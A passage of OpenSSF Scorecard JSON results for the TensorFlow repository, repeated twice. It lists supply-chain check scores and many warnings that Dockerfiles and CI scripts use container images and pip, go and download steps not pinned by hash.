pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: 